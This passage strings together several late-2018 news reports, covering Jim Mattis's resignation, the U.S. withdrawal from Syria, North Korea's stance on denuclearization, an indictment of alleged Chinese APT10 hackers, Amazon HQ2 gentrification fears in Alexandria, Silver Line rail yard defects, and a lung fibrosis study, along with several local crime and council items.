bipartisan bills that would have funded those agencies, as they hoped to stem the cycle of shutdown crises. They lamented having to abandon those efforts for the temporary measure. Sen. Richard Shelby, R-Ala., the chairman of the Senate Appropriations Committee, said they "worked a long time" on the bills, but hope "evaporated" as the shutdown risk deepened. Many agencies, including the Pentagon and the departments of Veterans Affairs and Health and Human Services, are covered for the year and would continue to operate as usual. The U.S. Postal Service, busy delivering packages for the holiday season, would not be affected by any government shutdown because it's an independent agency. Associated Press writer Laurie Kellman contributed to this report. Defense Secretary Jim Mattis will step down at the end of February, according to a resignation letter he hand-delivered to President Donald Trump Thursday, a day after Trump overruled his advice against pulling troops out of Syria. Mattis, perhaps the most respected foreign policy official in Trump's administration, will leave by the end of February after two tumultuous years struggling to soften and moderate the president's hardline and sometimes sharply changing policies. In the letter, Mattis wrote of differences with the president on maintaining alliances, advancing an international order and using American power for a common defense. China and Russia want to shape a world consistent with their authoritarian model at the expense of the United States and its allies, he wrote. "We must do everything possible to advance an international order that is most conducive to our security, prosperity and values, and we are strengthened in this effort by the solidarity of our alliances," Mattis wrote. Trump has the right to a secretary of defense whose views are better aligned with his on "these and other subjects," he wrote. His departure was immediately lamented by foreign policy hands and lawmakers on both sides of the aisle, who viewed the retired Marine general as a sober voice of experience in the ear of a president who had never held political office or served in the military. Even Trump allies expressed fear over Mattis' decision to quit, believing him to be an important moderating force on the president. "Just read Gen. Mattis resignation letter," Republican Florida Sen. Marco Rubio tweeted. "It makes it abundantly clear that we are headed toward a series of grave policy errors which will endanger our nation, damage our alliances & empower our adversaries." Democratic Rep. Nancy Pelosi of California said that she was "shaken" by the news. "I am shaken by the news because of the patriot that General Mattis is," she said. "I think that everybody in the country should read his letter of resignation. Its a letter of great patriotism, great respect for the president but also a statement of his values." The president tweeted in announcing Mattis' departure, which he characterized as a retirement, that a new defense secretary "will be named shortly." "During Jim's tenure, tremendous progress has been made, especially with respect to the purchase of new fighting equipment," he wrote. "General Mattis was a great help to me in getting allies and other countries to pay their share of military obligations." Trump said Wednesday that the United States had beaten ISIS in Syria, but experts and former officials disagreed. They warned that Trump's surprise decision to withdraw troops from Syria would be seen as a victory for Russia and Iran and a betrayal of Kurdish and Arab forces fighting a seven-year war against the Damascus regime. Mattis met with the president Thursday afternoon to tell him he would be resigning and deliver the letter, a Defense Department spokesman said. A senior White House official told NBC News Mattis and the president had differences of opinion over some issues over the last few months but did not know whether Syria had specifically come up. Republican Sen. Lindsey Graham of South Carolina said earlier Thursday that Mattis had told him that this was not the time to leave Syria, and that "a replay of Iraq was very likely." Graham, who called the decision to remove troops from Syria an Obama-like mistake, had urged Trump to follow military advice in the fight against ISIS. Of Mattis, he tweeted Thursday, "He has been in the fight against radical Islam for decades and provided sound and military ethical advice to President Trump." Mattis and Trump had clashed over a number of international decisions. He defended the Iran nuclear deal just as Trump pulled out of it and was at odds with the presidents opposition to U.S. military exercises with South Korea in a concession to North Koreas Kim Jong Un. Mattis, 68, is a Marine Corps general who retired in 2013 after serving as the head of the U.S. Central Command. He has a reputation as a battle-hardened, tough-talking Marine who was entrusted with some of the most challenging commands in the U.S. military. Mattis was only the second retired general to serve as defense secretary, the first being George C. Marshall in 1950-51 during the Korean War. Marshall was a much different figure, having previously served as U.S. secretary of state and playing a key role in creating closer ties with Western Europe after World War II. Although his record in combat and his credentials as a senior commander are widely admired, Mattis had little experience in the diplomatic aspects of the job of secretary of defense upon taking the position. Born in Pullman, Washington, Mattis enlisted in the Marine Corps in 1969, later earning a history degree from Central Washington University. He was commissioned as an officer in 1972. As a lieutenant colonel, Mattis led an assault battalion into Kuwait during the first U.S. war with Iraq in 1991. As head of the Central Command from 2010 until his retirement in 2013, he was in charge of both the wars in Iraq and Afghanistan. The Associated Press contributed to this article. Between Alexandria's Del Ray neighborhood and the Crystal City neighborhood of Arlington is a swath of land home to a vibrant Hispanic community. With bakeries and street vendors clustered around Mt. Vernon Avenue, the neighborhood of Chirilagua became home to Salvadoran immigrants escaping poverty and a bloody civil war starting in the 1980s. Our redesigned local news and weather app is live! Download it for iOS or Android and sign up for alerts. So when Amazon announced its decision to split the site of its new East Coast headquarters between New York City and Northern Virginia, Evelin Urrutia's heart jumped. Urrutia, an advocate for tenants' and workers' rights in Alexandria, said she fears the decision to open a tech hub a mile from Chirilagua will devastate the low-income, working-class community that already faces rising rents and immigration raids. For many Chirilagua residents, Amazon's arrival threatens the end of the community they love, bringing increased housing costs, new residents and creeping gentrification. Some residents of the Northern Virginia Hispanic community of Chirilagua fear that Amazon HQ2 will force them out. Heres a look at the neighborhood, and some voices of locals. To understand the value Chirilagua represents to the Hispanic population of Alexandria, Urrutia says you only have to walk down Mt. Vernon Avenue on a warm day. "You walk around and you feel like your country is here. In Central America, we have a lot in common, like the music. Sometimes the music is really loud from the stores and you start dancing. It's amazing," Urrutia said. The neighborhood traces its name to a town in El Salvador. The Northern Virginia area boomed in the '80s, as war ravaged the Central American country and displaced more than a million people, according to the Migration Policy Institute. Many of those who immigrated during the '80s and '90s settled in the D.C. area and ended up on the Arlington-Alexandria border, sometimes known as Arlandria. Waves of new arrivals brought with them new immigrants from Guatemala, Honduras and Mexico, giving Chirilagua a multicultural feel. "What makes it unique is that the people have been here for so long. We are rooted in," Urrutia said. "If you say, 'Oh, I live in Chirilagua,' people know what it is." For Teofila Gomez, Chirilagua's appeal also is connected to community organizing. Years of growth in the Hispanic community have led to Spanish-language programs at local schools, such as Mount Vernon Community School, which bills itself as Alexandria's first dual-language school. Gomez and her friend Ana Santos now are lobbying for new dual-language programs at nearby middle and high schools. The Mount Vernon Community School's parent-teacher association hosts one of its monthly meetings at the Casa Chirilagua community center and asks Latino parents to bring Hispanic dishes to share. Gomez, who has lived in Chirilagua for more than 17 years, said the nearby Latino-owned stores and businesses add to the appeal. "The advantage of living in this area is that everything is accessible: the park, the laundromat a half-block away. You have all the businesses to buy your food," she said. But they fear that Amazon's arrival a mile away will threaten the community's cohesion. "People don't understand that everything will get more expensive. Everything's going to go up. We're talking about rent, household goods, food, everything. Not just the rent," Gomez said. Urrutia, who is the executive director of Tenants and Workers United, said she worries that Amazon's arrival will speed up gentrification. "As soon as Amazon lands, all the gentrification from Del Ray is coming. It's going to move to this area, because the owners of these apartments and businesses they're going to start to want to make this area beautiful for different people," she said. Since Amazon announced its decision to move into Arlington in early November, Urrutia said she has been thinking about how the surrounding communities will change. Local Government Plans Ahead on Housing Amazon pledged to create 25,000 jobs in Northern Virginia. Local leaders say the influx of people may contribute to an affordable housing crisis. "In the short term, there will be housing pressures even if some of them are just of people taking advantage of the opportunity to raise rent," said Helen McIlvaine, director of Alexandria's Office of Housing. "But we think the market will increase production." McIlvaine said the reports that her office is monitoring show that rental prices may increase by 4 to 6 percent across the city, but that the hikes are similar to what the city has seen in the past. Alexandria City Manager Mark Jinks told WTOP that the city is working to raise the number of housing units to try to counteract increasing housing costs, like those seen in Seattle when Amazon opened its headquarters there. "There are already new resources being created to potentially meet this," McIlvaine said. "The city has a very strong commitment to working in communities and doing outreach and making sure people understand." According to McIlvaine, Alexandria uses public housing, loans, grants and subsidies to meet its affordable housing goals. The city already has about 1,250 public housing units overseen by the public housing authority and maintains them according to the city's commitment to preserve housing. Thus, McIlvaine said she sees opportunities for the city to secure more committed affordable housing from private developers. Caridad Palerm, a housing analyst for the Alexandria Office of Housing, said market-affordable units are at risk. The landlords for these units receive government subsidies to keep rents low. "They are more affordable, but there isn't anything to prevent rents from increasing," Palerm said. According to data provided by the Office of Housing, the majority of affordable housing in the Chirilagua area is market-affordable housing. Of the eight housing units in Chirilagua listed by the Office of Housing, six are privately owned. McIlvaine said the Office of Housing will increase its efforts to engage with Chirilagua residents, especially through Tenants and Workers United. "It's a good time for us to check in with them," she said. "We see this housing issue as being regional, and we are continuing to use this as a way to be more effective in our policies and programs." Who Will Amazon HQ2 Benefit? In the meantime, Urrutia said she fears that city officials do not understand Chirilagua residents' concerns. "You look around and everything that they are building is for people who earn a lot of money," she said. "When they talk about working class, they talk about teachers, firefighters, and they talk about police. But for us, the working class are the people who make the minimum, who are below the poverty level, who don't qualify for anything, especially if they don't have documentation." Amazon says its moving to National Landing in Northern Virginia. If youre wondering where that is, youre not alone. News4s Cory Smith reports from Crystal City. Gomez worries that the construction of new luxury apartments and the new jobs Amazon is set to bring will not help her or her community because working-class residents do not have the skills or education level required by Amazon. "So who will those jobs go to?" she said. "The people who are going to arrive here, and the people who are going to live in the new luxury apartment buildings like the ones that are planned here, they are the ones who will kick us out of here." Urrutia agreed, and said she believes that city and state officials have turned a blind eye to those who will be left behind once Amazon arrives. "They're putting a lot of funding into bringing Amazon, but they're not putting funding into keeping their communities, because they think this is a great thing, but it's not a great thing for everyone," she said. "Those jobs aren't going to be for people like us. Those are high-tech jobs. They're not going to find them in Chirilagua." If the cost of living spikes, Gomez and Santos said they know they will have to move out. Seattle houses the flagship Amazon headquarters and the city has been growing pains including rising rents. News4's Leon Harris talks with Puget Sound Business Journal Managing Editor Jim Hammerand about the tech giant's west coast impact. "People will move in with each other and divide rent. They'll rent an apartment and have two or three families live together. But who wants to live like that?" Gomez said. "I don't want to leave. I don't want my community to fall apart." A surveillance video from March helped police make an arrest in the slaying of Gerald Watson, a 15-year-old shot and killed near his home in Southeast D.C. last week. According to court documents, a witness told police one of the suspects, 16-year-old Malik Holston, is the gunmen in a crime camera video circulated by police. It shows someone firing off a gun and running back and forth. Last Thursday, two masked gunmen chased and gunned down Watson in the stairwell of an apartment near his home. He was shot 17 times. According to court documents, witnesses told police that Malik from Hartford Street was involved in the homicide and was known to carry a gun. On a wall near Watsons home, the words (expletive) Spread gang and (expletive) Leek are written. Holston goes by the nickname Leek. Investigators are looking into the possibility Spread gang could be linked to the crime. D.C. Police Chief Peter Newsham characterized the killing as "one of these senseless disputes between two neighborhood groups." Holston of Southeast D.C. was charged as an adult with first-degree murder while armed. At least one other suspect is still sought. Anyone with information for police is asked to call 202-727-9099, or send an anonymous tip via text to 50411. Juveniles Shot in DC in 2018 The victims include a 10-year-old girl who was killed and a 3-year-old boy who was hurt. After major problems with concrete were found in the walls of new Metro stations and in rail ties for the Silver Line extension, hundreds of cracks have been found in a new rail yard. Nearly 300 cracks have formed in buildings at the new Metro facility that will house and maintain railcars for the Silver Line extension to Dulles Airport and Loudoun County, News4 has learned. In addition, the rail yard project, located on airport grounds, will be delayed because of significant construction and contract issues. Thats leading to concerns that the entire Silver Line project will face yet another setback. A delay to the $254 million rail yards opening could cause huge headaches. A delay likely would send transit leaders scrambling to figure out where trains for the entire Silver Line would start and end their days, where railcars would be maintained and where Metro personnel including train operators would report for work. The second phase of the Silver Line will run from Reston to Dulles and continue with two stops in Loudoun County. The first phase of the project opened in 2014, with five stops, from Falls Church, through Tysons Corner and ending in Reston. Metro tells News4 it will not be able to run trains on the new Silver Line segment without the rail yard being operational. When asked if the rail yard will open on time, Dulles Corridor Metrorail Project head Charles Stark told News4 it will not. "We have had a change in the opening date so far of at least 115 days," Stark said during an interview. The rail yard is expected to be the largest in the Metro system when it opens, holding and maintaining about 170 rail cars at a time. While the project eventually will be turned over to Metro, it is being built by the Metropolitan Washington Airports Authority (MWAA). Metro called the rail yard critical and necessary. "Thats why the extension and the yard get accepted at the same time. Metro will not be able to support rail service on the new segment without the yard," Metro spokeswoman Sherri Ly said in an email. Cracking Buildings Cracks have appeared in buildings throughout the Metro facility, and some are now marked by devices with levels to determine if there is any movement by the buildings. "Cracks, even hairline cracks, will allow water to get inside the panel and get to the reinforcing steel, which, if it rusts, can cause damage to the concrete panel," said Stark. "The contractor needs to fix it." A solution for the cracking is under review, but Silver Line leaders claim the panels were improperly installed along the foundation of the buildings. Other Issues In addition to cracks in buildings, pavement in the rail yard is crumbling and "failing" in spots, and platforms for maintenance workers need safety changes, according to quality control reports. There is also a "buy America" issue with a number of cranes being used in the rail yard because some of the parts were made in Germany. Tension With Contractor All of these issues are creating tension between leaders for the Dulles Metro project and the contractor building the rail yard, Hensel Phelps, which is based in Chantilly. HP, as Dulles Metro leaders refer to Hensel Phelps, maintains that it is meeting the quality-control requirements of the project. "The Dulles Railyard and Maintenance Facility has experienced delays over the last four years created by circumstances outside of the control of Hensel Phelps, its design team and trade partners," spokesman William Thompson said in a statement. "Hensel Phelps and MWAA have been working together to mitigate these delays and complete the project. The project team is working towards completing the project in August 2019." Even after the entire Silver Line project reaches "substantial completion," Metro will have months to test it before accepting it as their own. Ongoing Concerns These problems are the latest in a line of setbacks for the Second Phase of the Silver Line, which will run from Reston to Dulles Airport, and continue into Loudoun County. The project already was delayed by about a year and a half because of design changes. It was originally scheduled to open to riders in 2018. Significant concrete flaws have been found throughout the project. Most recently, hundreds of concrete rail ties which hold the rail in place were called into question. Timeline Silver Line leaders say they are optimistic that the second phase of the project will open to riders in 2020. But they admit they will have to re-evaluate the timeline as the project advances. "Right now, weve got a while before we get to that point," Stark, the Dulles Corridor Metrorail Project head, said. "People are thinking about it now, but no decisions need to be made today." Testing of rail cars on the line is expected to begin in January. The boys mother had reported these previous incidents to the security firm and the district on more than one occasion, according to the suit, and had received assurances that they would take measures to ensure the guard would no longer harm her son. Against the advice of many in his own administration, President Donald Trump is pulling U.S. troops out of Syria. Could a withdrawal from Afghanistan be far behind? Trump has said his instinct is to quit Afghanistan as a lost cause, but more recently he's suggested a willingness to stay in search of peace with the Taliban. However, the abruptness with which he turned the page on Syria raises questions about whether combat partners like Iraq and Afghanistan should feel confident that he will not pull the plug on them, too. "If he's willing to walk away from Syria, I think we should be concerned about whether Afghanistan is next," Jennifer Cafarella, the director of intelligence planning at the Institute for the Study of War, said in an interview Wednesday. The U.S. has been at war in Afghanistan for 17 years and still has about 15,000 troops there helping government troops combat the Taliban. The approximately 5,000 U.S. troops in Iraq are training and advising Iraqi security forces as they continue to fight Islamic State militants, a battle the U.S. entered in 2014 after IS swept into Iraq from Syria. Before other officials confirmed the withdrawal decision, Trump tweeted, "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency." The aspect of this that he did not address is whether the extremists or others will fill the security vacuum created by the U.S. withdrawal to regroup and pose a new threat. The administration said it intends to continue combatting Islamic State extremists globally and could return to Syria if necessary. Still, critics launched a barrage of questions about the implications of Trump's decision, including whether it opens the door for Turkish forces to attack the Syrian Kurds who had partnered with the U.S. Kori Schake, deputy director-general of the International Institute for Strategic Studies, wrote on the Atlantic.com website Wednesday that the Syria decision ought to unsettle every ally that relies on U.S. security assurances. "The governments of Iraq and Afghanistan ought to be very, very worried," she wrote. "For if Syria can be so lightly written off, the fight arbitrarily declared won, what is the argument for continuing to assist Iraq where ISIS is even more defeated? And if Trump has so little interest in stabilizing security and assisting governance in Syria, how can Afghanistan have confidence that he won't make the same decision about them, when the fight there is costlier and progress less evident?" These and other questions about the Trump decision and its broader implications were on the minds of many in Congress. Sen. Jack Reed, a Rhode Island Democrat, denounced what he called a betrayal of the Syrian Kurds. "Now the President seems content to forsake their trust and abandon them to a potentially bloody conflict with Turkey," Reed said. "This decision also significantly increases the security risks to our key regional partners in Israel, Iraq and Jordan." Trump has argued for a Syria withdrawal since he was a presidential candidate in 2016, and he has repeated his view several times since taking office. Still, the decision appeared to catch many in his administration by surprise; Pentagon officials offered no details on the timing or pace of the withdrawal, nor could they square it with numerous statements by Defense Secretary Jim Mattis about the importance of remaining in Syria to assure stability. Sen. Lindsay Graham, a South Carolina Republican and typically a Trump supporter, said he was "blindsided" by the decision and called it "a disaster in the making." He said, "The biggest winners in this are ISIS and Iran." Republican Sen. Marco Rubio of Florida said the withdrawal would be a "grave error with broader implications" beyond the fight against IS. He called it "one more example of how the United States is not a reliable partner." Just last week, the U.S. special envoy to the anti-ISIS coalition, Brett McGurk, said U.S. troops would remain in Syria even after the Islamic State militants were driven from their strongholds. "I think it's fair to say Americans will remain on the ground after the physical defeat of the caliphate, until we have the pieces in place to ensure that that defeat is enduring," McGurk told reporters on Dec. 11. "Nobody is declaring a mission accomplished. Defeating a physical caliphate is one phase of a much longer-term campaign." And two weeks ago, Gen. Joseph Dunford, chairman of the Joint Chiefs of Staff, said the U.S. still has a long way to go in training local Syrian forces to prevent a resurgence of IS and stabilize the country. He said it will take 35,000 to 40,000 local troops in northeastern Syria to maintain security over the long term, but only about 20 percent of them have been trained. Associated Press writer Lolita C. Baldor contributed to this report. North Korea said Thursday it will never unilaterally give up its nuclear weapons unless the United States first removes what Pyongyang called a nuclear threat. The surprisingly blunt statement jars with Seoul's rosier presentation of the North Korean position and could rattle the fragile trilateral diplomacy to defuse a nuclear crisis that last year had many fearing war. The latest from North Korea comes as the United States and North Korea struggle over the sequencing of the denuclearization that Washington wants and the removal of international sanctions desired by Pyongyang. The statement carried by the North's official Korean Central News Agency also raises credibility problems for the liberal South Korean government, which has continuously claimed that North Korean leader Kim Jong Un is genuinely interested in negotiating away his nuclear weapons as Seoul tries to sustain a positive atmosphere for dialogue. The North's comments may also be seen as proof of what outside skeptics have long said: that Kim will never voluntarily relinquish an arsenal he sees as a stronger guarantee of survival than whatever security assurances the United States might provide. The statement suggests North Korea will eventually demand the United States withdraw or significantly reduce the 28,500 American troops stationed in South Korea, a major sticking point in any disarmament deal. Kim and President Donald Trump met June 12 in Singapore where they agreed on a vague goal for the "complete denuclearization" of the Korean Peninsula without describing when and how it would occur. The leaders are trying to arrange another meeting for early next year. But North Korea for decades has been pushing a concept of denuclearization that bears no resemblance to the American definition, with Pyongyang vowing to pursue nuclear development until the United States removes its troops and the nuclear umbrella defending South Korea and Japan. In Thursday's statement, the North made clear it's sticking to its traditional stance on denuclearization. It accused Washington of twisting what had been agreed on in Singapore and driving post-summit talks into an impasse. "The United States must now recognize the accurate meaning of the denuclearization of the Korean Peninsula, and especially, must study geography," the statement said. "When we talk about the Korean Peninsula, it includes the territory of our republic and also the entire region of (South Korea) where the United States has placed its invasive force, including nuclear weapons. When we talk about the denuclearization of the Korean Peninsula, it means the removal of all sources of nuclear threat, not only from the South and North but also from areas neighboring the Korean Peninsula," the statement said. The United States removed its tactical nuclear weapons from South Korea in the 1990s. Washington and Seoul did not immediately respond to the North Korean statement. North Korea's reiteration of its long-standing position on denuclearization could prove to be a major setback for diplomacy, which was revived early this year following a series of provocative nuclear and missile tests that left Kim and Trump spending most of 2017 exchanging personal insults and war threats. The statement could jeopardize a second Trump-Kim summit as the United States may have difficulty negotiating further if the North ties the future of its nukes to the U.S. military presence in the South, analysts said. South Korean President Moon Jae-in, who met Kim three times this year and lobbied hard for the Trump-Kim meeting, has said Kim wasn't demanding the withdrawal of U.S. troops from the Korean Peninsula as a precondition for abandoning his nuclear weapons. But Kim has never made such comments in public. "The blunt statement could be an indicator that the North has no intentions to return to the negotiation table anytime soon," said Shin Beomchul, a senior analyst at Seoul's Asan Institute for Policy Studies. "It's clear that the North intends to keep its nukes and turn the diplomatic process into a bilateral arms reduction negotiation with the United States, rather than a process where it unilaterally surrenders its program." Yang Moo-jin, a professor at Seoul's University of North Korean Studies, said it's unlikely that the North would push things too far and allow the momentum for dialogue to collapse. Pyongyang has been strengthening its demands for the removal of sanctions and its latest statement is another attempt to win concessions from Washington, Yang said. "Pyongyang is sending a message to Washington that confrontation and dialogue cannot coexist," Yang said. The nuclear negotiations between Washington and Pyongyang have stalled since the Trump-Kim meeting. The United States wants North Korea to provide a detailed account of nuclear and missile facilities that would be inspected and dismantled under a potential deal, while the North is insisting that sanctions be lifted first. Since engaging in diplomacy, North Korea has unilaterally dismantled its nuclear testing ground and parts of a missile engine test facility and suspended nuclear and long-range missile tests. However, none of those moves were verified by outsiders, and most experts say they fall short as material steps toward denuclearization. In the third meeting between Kim and Moon in September, the North also said it would dismantle its main nuclear facility in Nyongbyon if the United States takes "corresponding measures," which the state media later specified as sanctions relief. Kim declared his nuclear force was complete after the torrent of weapons tests in 2017, including the detonation of a purported thermonuclear weapon and three test-flights of intercontinental ballistic missiles potentially capable of reaching the U.S. mainland. Several reports from private analysts in recent weeks have accused North Korea of continuing nuclear and missile development, citing details from commercial satellite imagery. "If we unilaterally give up our nuclear weapons without any security assurance despite being first on the U.S. list of targets for pre-emptive nuclear strikes, that wouldn't be denuclearization it would rather be a creation of a defenseless state where the balance in nuclear strategic strength is destroyed and the crisis of a nuclear war is brought forth," the KCNA said. "The corresponding measures we have asked the United States to take aren't difficult for the United States to commit to and carry out. We are just asking the United States to put an end to its hostile policies (on North Korea) and remove the unjust sanctions, things it can do even without a snap of a finger." The North Korean statement came a day after Stephen Biegun, the Trump administration's special envoy on North Korea, told reporters in South Korea that Washington was reviewing easing travel restrictions on North Korea to facilitate humanitarian shipments to help resolve the impasse in nuclear negotiations. During his four-day visit, Biegun plans to discuss with South Korean officials the allies' policies on North Korea, including the enforcement of sanctions. The meetings are likely to include conversations about a groundbreaking ceremony the Koreas plan to hold at the border village of Panmunjom next week for an aspirational project to reconnect their roads and railways. The North has yet to respond to Biegun's comments. U.S. officials on Thursday said two alleged Chinese hackers carried out an extensive campaign on behalf of Beijing's main intelligence agency to steal trade secrets and other information from government agencies and "a who's who" of major corporations in the United States and nearly a dozen other nations. The indictment is the latest in a series of Justice Department criminal cases targeting Chinese cyberespionage and coincided with an announcement by Britain blaming China's Ministry of State Security for trade-secret pilfering affecting Western nations. The alleged hackers, one of whom is nicknamed "Godkiller," are accused of breaching computer networks beginning as early as 2006 in a range of industries, including aviation and space, finance, biotechnology oil and gas, satellites and pharmaceuticals. Prosecutors say they also obtained the names, Social Security numbers and other personal information of more than 100,000 Navy personnel. In a new twist reflecting corporate computing's evolution, the hackers often infiltrated cloud computing companies and other major technology providers to indirectly reach clients' valuable documents. Prosecutors said the alleged hackers stole "hundreds of gigabytes" of data, breaching computers of more than 45 entities in 12 states including NASA's Jet Propulsion Lab and Goddard Space Center. The hackers, identified as members of the group APT10, or "Stone Panda," are not in custody. Prosecutors said their names are Zhu Hua and Zhang Shilong. U.S. law enforcement officials say the case is part of a trend of state-sponsored hackers breaking into American networks and stealing trade secrets and other confidential information. More than 90 percent of Justice Department economic espionage cases over the past seven years involve China, said Deputy Attorney General Rod Rosenstein, and more than two-thirds of trade secrets cases are connected to the country. "China's state-sponsored actors are the most active perpetrators of economic espionage," FBI Director Chris Wray said in announcing the case. "While we welcome fair competition, we cannot and will not tolerate illegal hacking, stealing or cheating." "China's goal, simply put, is to replace the U.S. as the world's leading superpower, and they're using illegal methods to get there," Wray said. While none of the "victim companies" was named, Wray called them a "who's who of the global economy." China on Friday said the U.S. was "fabricating facts out of thin air." A statement from Chinese foreign ministry spokeswoman Hua Chunying described the "unwarranted accusations" as a serious violation of the basic norms of international relations that was harmful to China-U.S. cooperation. Hua accused the U.S. of hypocrisy. "It has long been an open secret that the relevant authorities of the U.S. conduct large-scale cybertheft and listen in on foreign governments, enterprises and individuals," she said. Secretary of State Mike Pompeo and Homeland Security Secretary Kirstjen Nielsen released a joint statement accusing China of reneging on a 2015 commitment not to seek competitive advantage through theft of trade secrets, intellectual property and confidential business information. U.S. officials testified before Congress last week that Beijing's continued hacking has made a mockery of that 2015 commitment by President Xi Jinping following a first-of-its-kind indictment that accused Chinese hackers of stealing corporate data from brand-name U.S. companies. "We want China to cease illegal cyber activities and honor its commitment to the international community, but the evidence suggests that China may not intend to live up to its promises," Rosenstein said. Rob Silvers, a former Obama administration cybersecurity official, said cases like this create an important deterrent but should be supplemented by sanctions and other steps. "It's necessary to do this kind of thing, but it's not nearly enough," he said. "I don't think Rod Rosenstein would tell you that it's game, set, match." After a 2014 indictment against five alleged Chinese hackers, and a subsequent agreement with the U.S., Beijing at least temporarily reduced its hacking activity, Silvers said. This case shows that "China has taken the gloves off again," he said. Adam Segal, a cybersecurity expert at the Council on Foreign Relations, agreed that Beijing is unlikely to be swayed by sanctions alone. The indictment filed in federal court in Manhattan describes how in recent years, as government agencies and corporations have shifted data to cloud computing providers and services including email and collaboration tools to tech service providers, the Stone Panda hackers followed, typically stealing the log-in credentials of system administrators in order to reach coveted proprietary data of clients. Wray likened it to "breaking into and getting the keys from the maintenance department." Britain's Foreign Office accused the Chinese elite hackers of conducting a "widespread and significant" campaign of cyberespionage against the United Kingdom and its allies and "almost certainly continues to target a range of global companies, seeking to gain access to commercial secrets." Targeted nations named in the U.S. indictment include Brazil, Canada, Finland, France, Germany, India, Japan, Sweden, Switzerland and the United Arab Emirates. In recent months, the Justice Department has filed separate cases against several Chinese intelligence officials and hackers. A case filed in October marked the first time that a Chinese Ministry of State Security officer was extradited to the United States to stand trial. Chinese espionage efforts have become "the most severe counterintelligence threat facing our country today," Bill Priestap, the assistant director of the FBI's counterintelligence division, told a Senate committee. Hacking by Chinese state-backed hackers dramatically escalated over the summer in response to the trade war with the U.S. and military tensions in the South China Sea, said Tom Kellermann, chief cybersecurity officer of Carbon Black, whose company's threat-hunting tool is used in global cyber investigations. He credited the Justice Department with targeting a group that he said was China's "most prolific hacker crew." He said he was not optimistic that the pair would be prosecuted in the U.S., but that's not the point. "The Chinese are operating on a 50-year plan of information dominance, a comprehensive national strategy, and it's high time we actually reacted," Kellermann said. Associated Press writers Jill Lawless, Frank Bajak and Yanan Wang contributed to this report. Authorities in Merrimac, Massachusetts, executed multiple search warrants across town on Wednesday. There were a couple of properties that were searched by state and local police, including the residence at 70 Hadley Road. Merrimac Police Chief Eric Shear said there is no threat to public safety, and that the investigation concerns various non-violent criminal allegations, but did not elaborate further. The execution of those warrants started Wednesday morning and lasted into the evening. It's unclear if police activity will resume Thursday or if any arrests have been made. NBC10 Boston has also reached out to state police for more details. The investigation is ongoing. Authorities in Taunton, Massachusetts, say a missing 14-year-old boy who was believed to be in danger has been found Zachary Halloran of East Taunton was last seen leaving Rowley Avenue on foot, Taunton police said in a press release overnight Thursday. It's unclear what time he was last seen. Halloran is about 5-feet 4-inches tall and weighs about 115 pounds. He has black hair and brown eyes, and is believed to be carrying a backpack and wearing a dark-colored shirt and/or jacket, as well as dark sweatpants. Taunton police have activated the Southeastern Massachusetts Law Enforcement Council (SEMLEC) Search and Rescue Unit to find Halloran. It's unclear when or where he was found. Those are very ambiguous terms, Silver told the committee. Youre asking the chair of a meeting to determine that. Youre not always going to have a lawyer next to that chair, depending on what type of committee or commission it is. Thats leaving a lot of ambiguity and discretion to someone who isnt necessarily going to know the legal requirements of doing that. Local authority says six figure sum is adequate for 100m spend A 2M-A-YEAR return from a 100m investment in commercial property is adequate, West Berkshire Council has stated. The council borrowed the nine-figure sum and has already invested around 40m. The 1.25m-a-year interest from the loan will be paid out of the rental receipts it anticipates it will receive from the properties. The council looked at investment in commercial property as a way to generate additional income and offset continued reductions in government funding. But questions have been asked about the speculative investment. Speaking at a full West Berkshire Council meeting, Newbury Green Party prospective parliamentary candidate Steve Masters asked whether the local authority should be investing in local housing stock in order to change the lives of and keep the much-needed younger people in the area to stem the demographic time bomb. In response, executive member for finance and property Anthony Chadley (Con, Birch Copse) said the scheme would enable strong, consistent income for the council. He said: Once fully invested, West Berkshire will enjoy a net income of 2m per year, so over the next four years we are anticipating an additional 7-8m net income. This is a significant amount of money and is essential in ensuring that we set a balanced budget next year and in future years. Securing the additional income would allow the council to invest in projects to help young people in the district, he said. Barely a week goes by when Newbury, West Berkshire or the wider Berkshire area isnt singled out for being a great place to live and to do business, he said. He highlighted Newbury being ranked the sixth happiest place to live in the UK and Computer Weekly saying that West Berkshire was the best place outside London to run an IT business. Mr Chadley said efforts were being made to attract younger people to the district, looking at how it could foster the creativity of our younger people through teaching a wider range of qualifications, incubator space for start-ups, particularly in areas where retail space is being underused, and more comprehensive careers advice. He said: We will also be looking closely at the barriers to young people choosing West Berkshire as a great place to live. This will require us to focus very closely on our leisure offering as well as the issues of affordable housing. Work is currently underway to address those issues. In conclusion the answer is not to only do one or the other, but to do both and in securing new income first we have ensured good, solid foundation for implementing the second. I had to relocate due to the changes and demands of my current job. While serving for the village of Carpentersville I am truly satisfied with all the growth, opportunities, progress and successes we have made for our residents, businesses and village employees, she said. The communitys generosity was on display Wednesday at the Salvation Army Elgin Corps Community Center. Hundreds of bags filled with toys donated through the Salvation Armys Angel trees and Toys for Tots were distributed to parents with the help of volunteers from the Realtor Association of the Fox Valley. In an article published online by Frontiers in Endocrinology, researchers at the Medical University of South Carolina (MUSC) report that they have identified a potential therapeutic target for lung fibrosis or scarring. They showed in a preclinical model that the protein promotes fibrosis by turning on profibrotic genes and increasing levels of profibrotic factors, including itself. It is particularly attractive as a target because it exerts its influence early, before most other profibrotic factors emerge. "IGFBP-5 is upstream of several molecules that are considered key molecules in fibrosis, such as TGF-beta," says Carol Feghali-Bostwick, Ph.D., Kitty Trask Holt Endowed Chair for Scleroderma Research at MUSC, and senior author on the article. "So targeting it would allow us to possibly reduce the effect of all of the others that are downstream of it." In lung fibrosis, lung tissue thickens, stiffens and scars. It can no longer function normally. That's why people with lung fibrosis have difficulty breathing. Around 100,000 Americans have lung fibrosis without a known cause, known as idiopathic pulmonary fibrosis. Another 50,000 have scleroderma, an autoimmune disease that often leads to lung fibrosis as well as thickening and tightening of the skin. "There are currently no FDA-approved drugs that can either stop disease progression or reverse it in these patients," says Feghali-Bostwick. "Mortality is high, in some cases higher than cancer, so finding therapies is critical." For these patients, transplant is often the only option. However, not all patients are eligible for lung transplant, and it is not without its complications. New therapies that can stop or reverse lung fibrosis are needed. Feghali-Bostwick and her team showed that insulin-like growth factor-binding protein 5 (IGFBP-5) plays an important and early role in promoting fibrosis. It increases profibrotic gene expression, resulting in excessive collagen being deposited to the extracellular matrix (ECM). The ECM is the network that surrounds cells and serves as the scaffold on which they can build tissue. This excess collagen causes the tissue to stiffen and become fibrotic. These profibrotic genes also help ensure that levels of IGFBP-5 and other profibrotic factors such as matrix crosslinking enzyme lysyl oxidase (LOX) stay high. LOX enables collagen fibrils to cross-link, making tissue stiffer. "IGFBP-5 induces 